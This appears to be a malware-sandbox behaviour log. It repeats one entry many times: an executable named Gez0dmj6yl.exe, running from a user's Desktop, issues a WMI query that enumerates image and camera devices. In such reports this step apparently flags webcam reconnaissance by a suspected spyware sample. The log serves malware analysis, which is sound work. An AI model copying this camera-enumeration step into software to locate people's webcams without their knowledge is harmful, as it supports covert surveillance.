Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
